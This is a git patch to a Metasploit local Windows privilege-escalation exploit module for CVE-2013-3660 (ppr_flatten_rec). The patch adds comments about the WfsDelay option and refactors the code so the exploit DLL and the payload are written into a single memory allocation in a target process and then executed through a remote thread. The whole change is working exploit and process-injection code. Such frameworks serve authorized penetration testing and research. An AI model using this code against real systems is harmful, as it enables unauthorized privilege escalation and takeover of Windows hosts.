From 0b879d8f39d9a54b131ea741d6b705079d118089 Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 28 Nov 2013 08:42:16 +1000 Subject: [PATCH] Comments for WfsDelay, adjustment to injection I had inteded to add the `WfsDelay` as Meatballs suggested, but for locl exploits this doesn't appear to work as expected. After speaking to HDM we've decided to leave the sleep in there and figure out the `WsfDelay` thing later. This also includes a slight refactor which puts the payload and the exploit in the same chunk of allocated memory. Minor optimisation, but worth it. --- .../exploits/windows/local/ppr_flatten_rec.rb | 34 +++++++++++-------- 1 file changed, 19 insertions(+), 15 deletions(-) diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb index 41a33cc523..980d9b856c 100644 --- a/modules/exploits/windows/local/ppr_flatten_rec.rb +++ b/modules/exploits/windows/local/ppr_flatten_rec.rb @@ -59,9 +59,14 @@ class Metasploit3 < Msf::Exploit::Local [ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ], ], 'DisclosureDate' => 'May 15 2013', - 'DefaultTarget' => 0 + 'DefaultTarget' => 0, + # TODO: Uncomment this line and remove the Rex.sleep when WsfDelay works properly. + # Wait for up to 30 seconds by default for our shell because this exploit can + # take quite a while to finish execute + #'DefaultOptions' => { 'WfsDelay' => 30 } })) + # TODO: remove this when we've sorted out the WsfDelay issue. register_options([ OptInt.new('WAIT', [ true, "Number of seconds to wait for exploit to run", 10 ]) ], self.class) @@ -141,7 +146,6 @@ class Metasploit3 < Msf::Exploit::Local host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) print_good("Process #{pid} launched.") - print_status("Reflectively injecting the exploit DLL into #{pid}...") library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-3660", "ppr_flatten_rec.x86.dll") library_path = ::File.expand_path(library_path) @@ -153,36 +157,36 @@ class Metasploit3 < Msf::Exploit::Local break end end - # Inject the exloit, but don't run it yet. - exploit_mem = inject_into_pid(dll, host_process) - print_status("Exploit injected. Injecting payload into #{pid}...") - # Inject the payload into the process so that it's runnable by the exploit. - payload_mem = inject_into_pid(payload.encoded, host_process) + print_status("Injecting exploit and payload into #{pid}...") + # Inject the exploit and payload, but don't run it yet. + exploit_mem, payload_mem = inject_into_pid(dll, payload.encoded, host_process) + + print_status("Injection complete. Executing exploit...") - print_status("Payload injected. Executing exploit...") # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. host_process.thread.create(exploit_mem + offset, payload_mem) + # TODO: remove this Rex.sleep call when the WsfDelay stuff works correctly for local + # exploits. For some reason it doesn't appear to work properly. wait = datastore['WAIT'].to_i print_status("Exploit thread executing (can take a while to run), waiting #{wait} sec ...") - # TODO: talk to the guys about this, there has to be a wait involved before the - # exploit has finished, because the listener has to stick around for a while - # otherwise it shuts down before the exploit has finished. Rex.sleep(wait) + print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") end protected - def inject_into_pid(payload, process) - payload_size = payload.length + def inject_into_pid(exploit, payload, process) + payload_size = exploit.length + payload.length payload_size += 1024 - (payload.length % 1024) unless payload.length % 1024 == 0 payload_mem = process.memory.allocate(payload_size) process.memory.protect(payload_mem) - process.memory.write(payload_mem, payload) - return payload_mem + process.memory.write(payload_mem, exploit) + process.memory.write(payload_mem + exploit.length, payload) + return payload_mem, payload_mem + exploit.length end end